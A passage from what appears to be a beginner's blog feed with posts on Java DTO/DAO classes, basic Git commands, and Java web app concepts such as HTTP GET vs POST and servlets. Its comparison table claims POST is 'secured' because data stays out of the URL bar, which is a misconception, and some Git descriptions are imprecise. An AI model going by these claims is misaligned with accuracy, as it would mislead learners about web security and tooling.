   <content type="html">&lt;p&gt;&lt;b&gt;DTO&lt;/b&gt; is an abbreviation for &lt;b&gt;Data “Transfer” Object.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;It is used to transfer the data between classes and modules of your application, typically with data/values from database. DTO should only contain private fields for your data, getters, setters and constructors. It is not recommended to add any logic methods to such classes.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DAO&lt;/b&gt; is an abbreviation for &lt;b&gt;Data “Access” Object.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;It should have the logic for retrieving, saving and updating data in your database.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;b&gt;Business Object&lt;/b&gt; is the class that uses DAO and DTO. Consider this is our servlet. It also has all logics (methods to do stuff etc).&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zqlGvkCFP1I/WHGtQymv8WI/AAAAAAAABrE/vJLFYF4H4konJHbDpuR2hAnEKtLf17CLwCLcB/s1600/146804.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;252&quot; src=&quot;https://3.bp.blogspot.com/-zqlGvkCFP1I/WHGtQymv8WI/AAAAAAAABrE/vJLFYF4H4konJHbDpuR2hAnEKtLf17CLwCLcB/s640/146804.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;Here is an example how the DAO and DTO interfaces would look like:   &lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-Juw7mquIvd0/WHGqFq_nf6I/AAAAAAAABq4/QRhRej6VxXAjG_gnMm0VEMR6-43bC9FbQCLcB/s1600/Capturedto.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;387&quot; src=&quot;https://1.bp.blogspot.com/-Juw7mquIvd0/WHGqFq_nf6I/AAAAAAAABq4/QRhRej6VxXAjG_gnMm0VEMR6-43bC9FbQCLcB/s400/Capturedto.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://4.bp.blogspot.com/-MfyK8RDBjUQ/WHGqScJdRXI/AAAAAAAABq8/GJQblgrS6vU7PWRQBhpMT5EbF5umuvjkgCLcB/s1600/Capturedao.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;418&quot; src=&quot;https://4.bp.blogspot.com/-MfyK8RDBjUQ/WHGqScJdRXI/AAAAAAAABq8/GJQblgrS6vU7PWRQBhpMT5EbF5umuvjkgCLcB/s640/Capturedao.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/9fVQ_mvzV48/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/9fVQ_mvzV48?feature=player_embedded&quot; width=&quot;320&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/1ui5yVMivTo/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/1ui5yVMivTo?feature=player_embedded&quot; width=&quot;320&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Version Control with Git</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/08/Version-Control-with-Git/"/>
   <updated>2017-01-08T02:33:03+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/08/Version-Control-with-Git</id>
   <content type="html">&lt;p&gt;&lt;b&gt;What is Version Control?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Version Control is a program that tracks changes of files over time by virtue of version or revision which is a running numbering system.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;Consider this scenario :&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When you started you project and save it the first time, that is version #1.&lt;br /&gt;When you worked on the project again and save it for the second time, that is version #2. And, so on.&lt;br /&gt;&lt;br /&gt;Version Control allow you to see the differences between each revision, when it was made and who did it. It also allow you to have a backup (you normally save your project to a remote server). Also, when you mess up, you can also easily get back to a previous working version.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/M-O8ZNW9icQ/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/M-O8ZNW9icQ?feature=player_embedded&quot; width=&quot;320&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;b&gt;Learn the Lingo!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Most version control systems have similar concepts. Lets go with Git.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Terms&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. Remote Repository (repo) : The remote server which we stored our files.&lt;br /&gt;&lt;br /&gt;2. Local repo/Working Copy : Our local directory of files, where you make changes.&lt;br /&gt;&lt;br /&gt;3. Head: The latest revision in the repo.&lt;br /&gt;&lt;br /&gt;4. Origin : The “main” location of the files. Typically, on remote repo. But can also be on your computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Commands&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. git init : Make the current directory as a local repo. (local repo is the origin. no remote repo linked at this point)&lt;br /&gt;&lt;br /&gt;2. git add : Put files into local repo for the first time, i.e. begin tracking it with Version Control.&lt;br /&gt;This is called “&lt;b&gt;staging&lt;/b&gt;” or put the file on “&lt;b&gt;stage&lt;/b&gt;”.&lt;br /&gt;&lt;br /&gt;3. git clone : Clone a remote repo to a local directory with origin pointing to the remote repo.&lt;br /&gt;Doesn’t require git init. Also called checkout code from remote repo.&lt;br /&gt;&lt;br /&gt;4. git status : Show files that are tracked in local repo.&lt;br /&gt;Typically, will show files that are newly added, modified or untracked files.&lt;br /&gt;&lt;br /&gt;5. git log : Show log of changes with their revision.&lt;br /&gt;&lt;br /&gt;6. git revert : Revert local repo to previous revision state.&lt;br /&gt;&lt;br /&gt;7. git commit : Commit all changes (&lt;b&gt;or all files in staging&lt;/b&gt;) to local repo.&lt;br /&gt;&lt;br /&gt;8. git push : Push your last commit to origin (typically, remote repo).&lt;br /&gt;Also called checkin your code to remote repo.&lt;br /&gt;&lt;br /&gt;9. git pull : Keep your local repo up to date with remote repo aka get updates from remote repo.&lt;br /&gt;Obviously, also called update or sync.&lt;br /&gt;&lt;br /&gt;10. git diff : view the differences between current codes (if changes are made) and the previous revision.&lt;br /&gt;&lt;br /&gt;11. git merge : apply the changes from one file to another.&lt;br /&gt;Typically, when you try to push a file, another developer has also pushed for some changes on the file after your last update with remote repo (so you haven’t got his changes yet)&lt;br /&gt;&lt;br /&gt;12. git rm : remove the file from tracking.&lt;br /&gt; After commited, the file then becomes “untracked” if you use “git status”.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;iframe width=&quot;320&quot; height=&quot;266&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/HVsySz-h9r4/0.jpg&quot; src=&quot;https://www.youtube.com/embed/HVsySz-h9r4?feature=player_embedded&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-sUoiw9vzEoY/WHGjpFjMPqI/AAAAAAAABqo/vgcytXuz9jIvY3vA52K8uu1a0CMjgN94gCLcB/s1600/Capturegit.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;440&quot; src=&quot;https://3.bp.blogspot.com/-sUoiw9vzEoY/WHGjpFjMPqI/AAAAAAAABqo/vgcytXuz9jIvY3vA52K8uu1a0CMjgN94gCLcB/s640/Capturegit.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Beginning to Java Web App Developement</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/06/Beginning-to-Java-Web-App-Developement/"/>
   <updated>2017-01-06T10:33:14+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/06/Beginning-to-Java-Web-App-Developement</id>
   <content type="html">&lt;p&gt;&lt;b style=&quot;font-size: x-large;&quot;&gt;1. Website/Web Application&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Website is a collection of web pages that may contain text, images, audio and video.&lt;br /&gt;Web Application is a website which focuses more on providing some useful functions to users.&lt;br /&gt;&lt;br /&gt;Static Website : Static website displays static/fixed information&lt;br /&gt;Dynamic Website : Dynamic website displays information that keep changing.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-UEnwInRhcag/WG9e4mTFbwI/AAAAAAAABoo/RN_mkXU6_Y8LtHVJJDwkNioGuFXtN_urwCEw/s1600/website-static-vs-dynamic2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;267&quot; src=&quot;https://3.bp.blogspot.com/-UEnwInRhcag/WG9e4mTFbwI/AAAAAAAABoo/RN_mkXU6_Y8LtHVJJDwkNioGuFXtN_urwCEw/s640/website-static-vs-dynamic2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zbalCPAL7rk/WG9e57Q4BDI/AAAAAAAABos/Jp5RnSK-c9Y9qbvzZFVKY0UqPx_wB1nJwCEw/s1600/website-static-vs-dynamic3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;393&quot; src=&quot;https://3.bp.blogspot.com/-zbalCPAL7rk/WG9e57Q4BDI/AAAAAAAABos/Jp5RnSK-c9Y9qbvzZFVKY0UqPx_wB1nJwCEw/s640/website-static-vs-dynamic3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;table class=&quot;alt&quot; style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 192, 203); color: black; font-family: verdana, helvetica, arial, sans-serif; font-size: 13px; line-height: 23px; text-align: initial; width: 804px;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;th style=&quot;background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: &amp;quot;times new roman&amp;quot;; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;&quot;&amp;gt;Static Website&amp;lt;/th&amp;gt;&amp;lt;th style=&quot;background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: &amp;quot;times new roman&amp;quot;; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;&quot;&amp;gt;Dynamic Website&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;Prebuilt content is same every time the page is loaded.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;Content is generated quickly and changes regularly.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;It uses the &lt;strong&gt;HTML &lt;/strong&gt;code for developing a website.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;It uses the server side languages such as &lt;strong&gt;PHP,SERVLET, JSP, and ASP.NET &lt;/strong&gt;etc. for developing a website.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;It sends exactly the same response for every request.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;It may generate different HTML for each of the request.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;The content is only changes when someone publishes and updates the file (sends it to the web server).&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;The page contains “server-side” code it allows the server to generate the unique content when the page is loaded.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;Flexibility is the main advantage of static website.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;Content Management System (CMS) is the main advantage of dynamic website.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;2. Hyper Text Transfer Protocol (HTTP)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://2.bp.blogspot.com/-2ty699XvQ_I/WG9fxFZY37I/AAAAAAAABow/Yg-fipi9lEMWAyM_VY_0orhTgyREM9auACLcB/s1600/servlet-http4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;355&quot; src=&quot;https://2.bp.blogspot.com/-2ty699XvQ_I/WG9fxFZY37I/AAAAAAAABow/Yg-fipi9lEMWAyM_VY_0orhTgyREM9auACLcB/s640/servlet-http4.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;HTTP&lt;br /&gt;Data communication protocol used to establish communication between client (internet browser) and web server.&lt;br /&gt;&lt;br /&gt;HTTP Request&lt;br /&gt;The information send by the client (browser) to a web server that ‘requesting’ for some response (data, file, info etc) from the web server using HTTP protocol&lt;br /&gt;&lt;br /&gt;GET vs POST (Both are type HTTP Request)&lt;br /&gt;&lt;br /&gt;&amp;lt;table class=&quot;alt&quot; style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 192, 203); color: black; font-family: verdana, helvetica, arial, sans-serif; font-size: 13px; line-height: 23px; text-align: initial; width: 804px;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;th style=&quot;background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: &amp;quot;times new roman&amp;quot;; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;&quot;&amp;gt;GET&amp;lt;/th&amp;gt;&amp;lt;th style=&quot;background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: &amp;quot;times new roman&amp;quot;; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;&quot;&amp;gt;POST&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;is used to retrieve data from web server&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;is used to insert/update data into web server.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;is not secured because data is exposed in URL bar.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;is secured because data is NOT exposed in URL bar.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;is used typically for viewing something&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;, without changing it&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;is used for changing something&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;data is sent through the header (can be seen in URL bar)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;www.ask.com/register.jsp?name1=value&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-size: small;&quot;&gt;data is sent in body (c&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;an NOT be seen in URL bar)&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;www.ask.com/r&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;egisterDao.jsp&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;3. Front End (client-side) vs Back End (server-side)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class=&quot;alt&quot; style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 192, 203); color: black; font-family: verdana, helvetica, arial, sans-serif; font-size: 13px; line-height: 23px; width: 804px;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;th style=&quot;background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: &amp;quot;times new roman&amp;quot;; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;&quot;&amp;gt;Front End&amp;lt;/th&amp;gt;&amp;lt;th style=&quot;background: linear-gradient(rgb(246, 255, 225), rgb(227, 229, 214)); font-family: &amp;quot;times new roman&amp;quot;; font-size: 17px; padding: 5px; text-align: left; vertical-align: top;&quot;&amp;gt;Back End&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;Refers to the stuff that you actually see on the browser aka the UI Interface of the website.&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;Refers to the “brain” of the application which live on the server &lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr style=&quot;background-color: #f6ffe1;&quot;&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;Use HTML, CSS, and JavaScript that are supported by the browser (client)&lt;/span&gt;&amp;lt;/td&amp;gt;&amp;lt;td style=&quot;border: 1px solid rgb(255, 192, 203); font-stretch: normal; margin-left: 20px; padding: 5px; text-align: justify; vertical-align: top;&quot;&amp;gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; font-size: small; line-height: normal;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;; text-align: start;&quot;&gt;Use other languages such as Java and PHP that are supported by the server &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;4. Java Servlet &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Servlet is a java program that run at the back end (server-side). Servlet is the program that &lt;b&gt;&lt;i&gt;listen and response&lt;/i&gt;&lt;/b&gt; to HTTP Request. Servlet is the one who retrieve data from the database by performing queries.&lt;br /&gt;&lt;br /&gt;Basically, Servlet is a java class (that extends HttpServlet class from Java API).&lt;br /&gt;For example, MyServlet.java (which is then compiled to MyServlet.class)&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-drphRhj43oI/WG9lxkPs-hI/AAAAAAAABpE/5HDQ7R2MA3MicQPAbXOfH96dSw3-bJlfgCLcB/s1600/servlet.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://1.bp.blogspot.com/-drphRhj43oI/WG9lxkPs-hI/AAAAAAAABpE/5HDQ7R2MA3MicQPAbXOfH96dSw3-bJlfgCLcB/s640/servlet.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;5. Web Server &amp;amp; Servlet Container&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Web Server is a program that processes request via HTTP..&lt;br /&gt;Web Server is responsible to store, process and deliver web pages to clients.&lt;br /&gt;&lt;br /&gt;Example : Apache HTTP Server (Apache2, httpd)&lt;br /&gt;&lt;br /&gt;A Servlet Container is a type of Web Server that host and process Java program called Servlet. Servlet Container is responsible for managing the lifecycle of servlets, mapping a URL to a particular servlet etc. Servlet Container also works as Web Server for non-java programs.&lt;br /&gt;&lt;br /&gt;Example : Tomcat&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-qEdr4x6UbN0/WG9mBpyoSyI/AAAAAAAABpI/AYWz4-x7NOAQsdFG_Yy6vIxm2QqETVPrwCLcB/s1600/servlet-container1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;254&quot; 